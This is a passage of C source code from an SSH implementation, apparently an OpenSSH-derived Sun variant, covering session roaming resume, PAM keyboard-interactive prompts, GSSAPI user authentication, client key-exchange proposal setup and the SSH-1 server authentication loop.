debug("expected roaming_auth_ok, got %d", type); goto fail; } recv_bytes = packet_get_int64() ^ oldkey2; debug("Peer received %llu bytes", (unsigned long long)recv_bytes); resend_bytes(packet_get_connection_out(), &recv_bytes); resume_in_progress = 0; session_resumed = 1; /* Tell clientloop */ return 0; fail: free(kexlist); if (packet_get_connection_in() == packet_get_connection_out()) close(packet_get_connection_in()); else { close(packet_get_connection_in()); close(packet_get_connection_out()); } return 1; }
static int do_pam_conversation_kbd_int(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) { int i, j, done; char *text; context_pam2.finished = 0; context_pam2.num_received = 0; context_pam2.num_expected = 0; context_pam2.prompts = xmalloc(sizeof(int) * num_msg); context_pam2.responses = xmalloc(sizeof(struct pam_response) * num_msg); memset(context_pam2.responses, 0, sizeof(struct pam_response) * num_msg); text = NULL; for (i = 0, context_pam2.num_expected = 0; i < num_msg; i++) { int style = PAM_MSG_MEMBER(msg, i, msg_style); switch (style) { case PAM_PROMPT_ECHO_ON: case PAM_PROMPT_ECHO_OFF: context_pam2.num_expected++; break; case PAM_TEXT_INFO: case PAM_ERROR_MSG: default: /* Capture all these messages to be sent at once */ message_cat(&text, PAM_MSG_MEMBER(msg, i, msg)); break; } } if (context_pam2.num_expected == 0) return PAM_SUCCESS; packet_start(SSH2_MSG_USERAUTH_INFO_REQUEST); packet_put_cstring(""); /* Name */ packet_put_cstring(""); /* Instructions */ packet_put_cstring(""); /* Language */ packet_put_int(context_pam2.num_expected); for (i = 0, j = 0; i < num_msg; i++) { int style = PAM_MSG_MEMBER(msg, i, msg_style); /* Skip messages which don't need a reply */ if (style != PAM_PROMPT_ECHO_ON && style != PAM_PROMPT_ECHO_OFF) continue; context_pam2.prompts[j++] = i; if (text) { message_cat(&text, PAM_MSG_MEMBER(msg, i, msg)); packet_put_cstring(text); text = NULL; } else packet_put_cstring(PAM_MSG_MEMBER(msg, i, msg)); packet_put_char(style == PAM_PROMPT_ECHO_ON); } packet_send(); packet_write_wait(); /* * Grabbing control of execution and spinning until we get what * we want is probably rude, but it seems to work properly, and * the client *should* be in lock-step with us, so the loop should * only be traversed once. */ while(context_pam2.finished == 0) { done = 1; dispatch_run(DISPATCH_BLOCK, &done, appdata_ptr); if(context_pam2.finished == 0) debug("extra packet during conversation"); } if(context_pam2.num_received == context_pam2.num_expected) { *resp = context_pam2.responses; return PAM_SUCCESS; } else return PAM_CONV_ERR; }
void ssh_userauth2(const char *local_user, const char *server_user, char *host, Sensitive *sensitive) { Authctxt authctxt; int type; if (options.challenge_response_authentication) options.kbd_interactive_authentication = 1; packet_start(SSH2_MSG_SERVICE_REQUEST); packet_put_cstring("ssh-userauth"); packet_send(); debug("send SSH2_MSG_SERVICE_REQUEST"); packet_write_wait(); type = packet_read(); if (type != SSH2_MSG_SERVICE_ACCEPT) fatal("Server denied authentication request: %d", type); if (packet_remaining() > 0) { char *reply = packet_get_string(NULL); debug2("service_accept: %s", reply); xfree(reply); } else { debug2("buggy server: service_accept w/o service"); } packet_check_eom(); debug("got SSH2_MSG_SERVICE_ACCEPT"); if (options.preferred_authentications == NULL) options.preferred_authentications = authmethods_get(); /* setup authentication context */ memset(&authctxt, 0, sizeof(authctxt)); authctxt.agent = ssh_get_authentication_connection(); authctxt.server_user = server_user; authctxt.local_user = local_user; authctxt.host = host; authctxt.service = "ssh-connection"; /* service name */ authctxt.success = 0; authctxt.method = authmethod_lookup("none"); authctxt.authlist = NULL; authctxt.methoddata = NULL; authctxt.sensitive = sensitive; authctxt.info_req_seen = 0; if (authctxt.method == NULL) fatal("ssh_userauth2: internal error: cannot send userauth none request"); /* initial userauth request */ userauth_none(&authctxt); dispatch_init(&input_userauth_error); dispatch_set(SSH2_MSG_USERAUTH_SUCCESS, &input_userauth_success); dispatch_set(SSH2_MSG_USERAUTH_FAILURE, &input_userauth_failure); dispatch_set(SSH2_MSG_USERAUTH_BANNER, &input_userauth_banner); dispatch_run(DISPATCH_BLOCK, &authctxt.success, &authctxt); /* loop until success */ if (authctxt.agent != NULL) ssh_close_authentication_connection(authctxt.agent); debug("Authentication succeeded (%s)", authctxt.method->name); }
int userauth_gssapi(Authctxt *authctxt) { Gssctxt *gssctxt = NULL; static int initialized = 0; static int mech_idx = 0; static gss_OID_set supported = GSS_C_NULL_OID_SET; gss_OID mech = GSS_C_NULL_OID; /* Things work better if we send one mechanism at a time, rather * than them all at once. This means that if we fail at some point * in the middle of a negotiation, we can come back and try something * different. */ if (datafellows & SSH_OLD_GSSAPI) return 0; /* Before we offer a mechanism, check that we can support it. Don't * bother trying to get credentials - as the standard fallback will * deal with that kind of failure. */ if (!initialized) { initialized = 1; ssh_gssapi_client_mechs(authctxt->host, &supported); if (supported == GSS_C_NULL_OID_SET || supported->count == 0) return (0); } else if (supported != GSS_C_NULL_OID_SET) { /* Try next mech, if any */ mech_idx++; if (mech_idx >= supported->count) return (0); } else { return (0); } mech = &supported->elements[mech_idx]; ssh_gssapi_build_ctx(&gssctxt, 1, mech); authctxt->methoddata=(void *)gssctxt; packet_start(SSH2_MSG_USERAUTH_REQUEST); packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service); packet_put_cstring(authctxt->method->name); packet_put_int(1); /* The newest gsskeyex draft stipulates that OIDs should * be DER encoded, so we need to add the object type and * length information back on */ if (datafellows & SSH_BUG_GSSAPI_BER) { packet_put_string(mech->elements, mech->length); } else { packet_put_int((mech->length)+2); packet_put_char(0x06); packet_put_char(mech->length); packet_put_raw(mech->elements, mech->length); } packet_send(); packet_write_wait(); dispatch_set(SSH2_MSG_USERAUTH_GSSAPI_RESPONSE,&input_gssapi_response); return 1; }
int userauth_gssapi_keyex(Authctxt *authctxt) { Gssctxt *gssctxt; gss_buffer_desc send_tok; OM_uint32 status; static int attempt = 0; if (authctxt == NULL || authctxt->method == NULL) fatal("input_gssapi_response: no authentication context"); if (xxx_gssctxt == NULL || xxx_gssctxt->context == GSS_C_NO_CONTEXT) return 0; if (strcmp(authctxt->method->name, "gssapi-keyex") == 0) authctxt->methoddata = gssctxt = xxx_gssctxt; if (attempt++ >= 1) return 0; if (strcmp(authctxt->method->name, "gssapi-keyex") == 0) { gss_buffer_desc g_mic_data; Buffer mic_data; debug2("Authenticating with GSS-API context from key exchange (w/ MIC)"); /* Make data buffer to MIC */ buffer_init(&mic_data); buffer_put_string(&mic_data, session_id2, session_id2_len); buffer_put_char(&mic_data, SSH2_MSG_USERAUTH_REQUEST); buffer_put_cstring(&mic_data, authctxt->server_user); buffer_put_cstring(&mic_data, authctxt->service); buffer_put_cstring(&mic_data, authctxt->method->name); /* Make MIC */ g_mic_data.value = buffer_ptr(&mic_data); g_mic_data.length = buffer_len(&mic_data); status = ssh_gssapi_get_mic(gssctxt, &g_mic_data, &send_tok); buffer_clear(&mic_data); if (GSS_ERROR(status) || send_tok.length == 0) { /* * Oops, now what? There's no error token... * Next userauth */ debug("GSS_GetMIC() failed! - " "Abandoning GSSAPI userauth"); clear_auth_state(authctxt); userauth(authctxt,NULL); return 0; } packet_start(SSH2_MSG_USERAUTH_REQUEST); packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service); packet_put_cstring(authctxt->method->name); packet_put_string(send_tok.value,send_tok.length); /* MIC */ packet_send(); packet_write_wait(); (void) gss_release_buffer(&status, &send_tok); } else if (strcmp(authctxt->method->name, "external-keyx") == 0) { debug2("Authentication with deprecated \"external-keyx\"" " method not supported"); return 0; } return 1; }
void ssh_kex2(char *host, struct sockaddr *hostaddr) { Kex *kex; Kex_hook_func kex_hook = NULL; static char **myproposal; myproposal = my_clnt_proposal; xxx_host = host; xxx_hostaddr = hostaddr; #ifdef GSSAPI /* Add the GSSAPI mechanisms currently supported on this client to * the key exchange algorithm proposal */ if (options.gss_keyex) kex_hook = ssh_gssapi_client_kex_hook; #endif /* GSSAPI */ if (options.ciphers == (char *)-1) { log("No valid ciphers for protocol version 2 given, using defaults."); options.ciphers = NULL; } if (options.ciphers != NULL) { myproposal[PROPOSAL_ENC_ALGS_CTOS] = myproposal[PROPOSAL_ENC_ALGS_STOC] = options.ciphers; } myproposal[PROPOSAL_ENC_ALGS_CTOS] = compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_CTOS]); myproposal[PROPOSAL_ENC_ALGS_STOC] = compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_STOC]); if (options.compression) { myproposal[PROPOSAL_COMP_ALGS_CTOS] = myproposal[PROPOSAL_COMP_ALGS_STOC] = "zlib,none"; } else { myproposal[PROPOSAL_COMP_ALGS_CTOS] = myproposal[PROPOSAL_COMP_ALGS_STOC] = "none,zlib"; } if (options.macs != NULL) { myproposal[PROPOSAL_MAC_ALGS_CTOS] = myproposal[PROPOSAL_MAC_ALGS_STOC] = options.macs; } if (options.hostkeyalgorithms != NULL) myproposal[PROPOSAL_SERVER_HOST_KEY_ALGS] = options.hostkeyalgorithms; if (options.rekey_limit) packet_set_rekey_limit((u_int32_t)options.rekey_limit); if (datafellows & SSH_BUG_LOCALES_NOT_LANGTAGS) { char *locale = setlocale(LC_ALL, ""); /* Solaris 9 SSHD expects a locale, not a langtag list */ myproposal[PROPOSAL_LANG_CTOS] = ""; if (locale != NULL && *locale != '\0' && strcmp(locale, "C") != 0) myproposal[PROPOSAL_LANG_CTOS] = locale; } else { myproposal[PROPOSAL_LANG_CTOS] = g11n_getlangs(); } /* Same languages proposal for both directions */ if (myproposal[PROPOSAL_LANG_CTOS] == NULL) { myproposal[PROPOSAL_LANG_CTOS] = ""; myproposal[PROPOSAL_LANG_STOC] = ""; } else { myproposal[PROPOSAL_LANG_STOC] = myproposal[PROPOSAL_LANG_CTOS]; } /* start key exchange */ kex = kex_setup(host, myproposal, kex_hook); kex_start(kex); kex->kex[KEX_DH_GRP1_SHA1] = kexdh_client; kex->kex[KEX_DH_GEX_SHA1] = kexgex_client; #ifdef GSSAPI kex->kex[KEX_GSS_GRP1_SHA1] = kexgss_client; kex->options.gss_deleg_creds = options.gss_deleg_creds; #endif /* GSSAPI */ kex->client_version_string=client_version_string; kex->server_version_string=server_version_string; kex->verify_host_key=&verify_host_key_callback; kex->accept_host_key=&accept_host_key_callback; xxx_kex = kex; dispatch_run(DISPATCH_BLOCK, &kex->done, kex); session_id2 = kex->session_id; session_id2_len = kex->session_id_len; #ifdef DEBUG_KEXDH /* send 1st encrypted/maced/compressed message */ packet_start(SSH2_MSG_IGNORE); packet_put_cstring("markus"); packet_send(); packet_write_wait(); #endif debug("done: ssh_kex2."); }
/* * read packets, try to authenticate the user and * return only if authentication is successful */ static void do_authloop(Authctxt *authctxt) { int authenticated = 0; u_int bits; Key *client_host_key; BIGNUM *n; char *client_user, *password; char info[1024]; u_int dlen; u_int ulen; int type = 0; struct passwd *pw = authctxt->pw; debug("Attempting authentication for %s%.100s.", authctxt->valid ? "" : "illegal user ", authctxt->user); /* If the user has no password, accept authentication immediately. */ if (options.password_authentication && #if defined(KRB4) || defined(KRB5) (!options.kerberos_authentication || options.kerberos_or_local_passwd) && #endif PRIVSEP(auth_password(authctxt, ""))) { auth_log(authctxt, 1, "without authentication", ""); return; } /* Indicate that authentication is needed. */ packet_start(SSH_SMSG_FAILURE); packet_send(); packet_write_wait(); client_user = NULL; for ( ;; ) { /* default to fail */ authenticated = 0; info[0] = '\0'; /* Get a packet from the client. */ authctxt->v1_auth_type = type = packet_read(); authctxt->v1_auth_name = get_authname(type); authctxt->attempt++; /* Process the packet. */ switch (type) { #if defined(KRB4) || defined(KRB5) case SSH_CMSG_AUTH_KERBEROS: if (!options.kerberos_authentication) { verbose("Kerberos authentication disabled."); } else { char *kdata = packet_get_string(&dlen); packet_check_eom(); if (kdata[0] == 4) { /* KRB_PROT_VERSION */ #ifdef KRB4 KTEXT_ST tkt, reply; tkt.length = dlen; if (tkt.length < MAX_KTXT_LEN) memcpy(tkt.dat, kdata, tkt.length); if (PRIVSEP(auth_krb4(authctxt, &tkt, &client_user, &reply))) { authenticated = 1; snprintf(info, sizeof(info), " tktuser %.100s", client_user); packet_start( SSH_SMSG_AUTH_KERBEROS_RESPONSE); packet_put_string((char *) reply.dat, reply.length); packet_send(); packet_write_wait(); } #endif /* KRB4 */ } else { #ifdef KRB5 krb5_data tkt, reply; tkt.length = dlen; tkt.data = kdata; if (PRIVSEP(auth_krb5(authctxt, &tkt, &client_user, &reply))) { authenticated = 1; snprintf(info, sizeof(info), " tktuser %.100s", client_user); /* Send response to client */ packet_start( SSH_SMSG_AUTH_KERBEROS_RESPONSE); packet_put_string((char *) reply.data, reply.length); packet_send(); packet_write_wait(); if (reply.length) xfree(reply.data); } #endif /* KRB5 */ } xfree(kdata); } break; #endif /* KRB4 || KRB5 */ #if defined(AFS) || defined(KRB5) /* XXX - punt on backward compatibility here. */ case SSH_CMSG_HAVE_KERBEROS_TGT: packet_send_debug("Kerberos TGT passing disabled before authentication."); break; #ifdef AFS case SSH_CMSG_HAVE_AFS_TOKEN: packet_send_debug("AFS token passing disabled before authentication."); break; #endif /* AFS */ #endif /* AFS || KRB5 */ case SSH_CMSG_AUTH_RHOSTS: if (!options.rhosts_authentication) { verbose("Rhosts authentication disabled."); break; } /* * Get client user name. Note that we just have to * trust the client; this is one reason why rhosts * authentication is insecure. (Another is * IP-spoofing on a local network.) */ client_user = packet_get_string(&ulen); packet_check_eom(); /* Try to authenticate using /etc/hosts.equiv and .rhosts. */ authenticated = auth_rhosts(pw, client_user); snprintf(info, sizeof info, " ruser %.100s", client_user); break; case SSH_CMSG_AUTH_RHOSTS_RSA: if (!options.rhosts_rsa_authentication) { verbose("Rhosts with RSA authentication disabled."); break; } /* * Get client user name. Note that we just have to * trust the client; root on the client machine can * claim to be any user. */ client_user = packet_get_string(&ulen); /* Get the client host key. */ client_host_key = key_new(KEY_RSA1); bits = packet_get_int(); packet_get_bignum(client_host_key->rsa->e); packet_get_bignum(client_host_key->rsa->n); if (bits != BN_num_bits(client_host_key->rsa->n)) verbose("Warning: keysize mismatch for client_host_key: " "actual %d, announced %d", BN_num_bits(client_host_key->rsa->n), bits); packet_check_eom(); authenticated = auth_rhosts_rsa(pw, client_user, client_host_key); key_free(client_host_key); snprintf(info, sizeof info, " ruser %.100s", client_user); break; case SSH_CMSG_AUTH_RSA: if (!options.rsa_authentication) { verbose("RSA authentication disabled."); break; } /* RSA authentication requested. */ if ((n = BN_new()) == NULL) fatal("do_authloop: BN_new failed"); packet_get_bignum(n); packet_check_eom(); authenticated = auth_rsa(pw, n); BN_clear_free(n); break; case SSH_CMSG_AUTH_PASSWORD: authctxt->init_attempt++; if (!options.password_authentication) { verbose("Password authentication disabled."); break; } /* * Read user password. It is in plain text, but was * transmitted over the encrypted channel so it is * not visible to an outside observer. */ password = packet_get_string(&dlen); packet_check_eom(); /* Try authentication with the password. */ if (authctxt->init_failures < options.max_init_auth_tries) authenticated = PRIVSEP(auth_password(authctxt, password)); memset(password, 0, strlen(password)); xfree(password); break; case SSH_CMSG_AUTH_TIS: debug("rcvd SSH_CMSG_AUTH_TIS"); if (options.challenge_response_authentication == 1) { char *challenge = get_challenge(authctxt); if (challenge != NULL) { debug("sending challenge '%s'", challenge); packet_start(SSH_SMSG_AUTH_TIS_CHALLENGE); packet_put_cstring(challenge); xfree(challenge); packet_send(); packet_write_wait(); continue; } } break; case SSH_CMSG_AUTH_TIS_RESPONSE: debug("rcvd SSH_CMSG_AUTH_TIS_RESPONSE"); if (options.challenge_response_authentication == 1) { char *response = packet_get_string(&dlen); debug("got response '%s'", response); packet_check_eom(); authenticated = verify_response(authctxt, response); memset(response, 'r', dlen); xfree(response); } break; default: /* * Any unknown messages will be ignored (and failure * returned) during authentication. */ log("Unknown message during authentication: type %d", type); break; } #ifdef BSD_AUTH if (authctxt->as) { auth_close(authctxt->as); authctxt->as = NULL; } #endif if (!authctxt->valid && authenticated) { authenticated = 0; log("Ignoring authenticated invalid user %s", authctxt->user); } #ifdef _UNICOS if (type == SSH_CMSG_AUTH_PASSWORD && !authenticated) cray_login_failure(authctxt->user, IA_UDBERR); if (authenticated && cray_access_denied(authctxt->user)) { authenticated = 0; fatal("Access denied for user %s.",authctxt->user); } #endif /* _UNICOS */ #ifdef HAVE_CYGWIN if (authenticated && !check_nt_auth(type == SSH_CMSG_AUTH_PASSWORD, pw)) { packet_disconnect("Authentication rejected for uid %d.", pw == NULL ? -1 : pw->pw_uid); authenticated = 0; } #else /* Special handling for root */ if (!use_privsep && authenticated && authctxt->pw->pw_uid == 0 && !auth_root_allowed(get_authname(type))) authenticated = 0; #endif #ifdef USE_PAM /* XXX PAM and PRIVSEP don't mix */ if (use_privsep && authenticated) fatal("Privsep is not supported"); if (authenticated && type != SSH_CMSG_AUTH_PASSWORD) authenticated = do_pam_non_initial_userauth(authctxt); else if (authenticated && !AUTHPAM_DONE(authctxt)) authenticated = 0; if (!authenticated) authctxt->pam_retval = AUTHPAM_ERROR(authctxt, PAM_PERM_DENIED); #endif /* USE_PAM */ /* Log before sending the reply */ auth_log(authctxt, authenticated, get_authname(type), info); if (client_user != NULL) { xfree(client_user); client_user = NULL; } if (authenticated) return; if (type == SSH_CMSG_AUTH_PASSWORD) authctxt->init_failures++; if (authctxt->failures++ > options.max_auth_tries) { #ifdef HAVE_BSM fatal_remove_cleanup(audit_failed_login_cleanup, authctxt); audit_sshd_login_failure(&ah, PAM_MAXTRIES); #endif /* HAVE_BSM */ packet_disconnect(AUTH_FAIL_MSG, authctxt->user); } packet_start(SSH_SMSG_FAILURE); packet_send(); packet_write_wait(); } }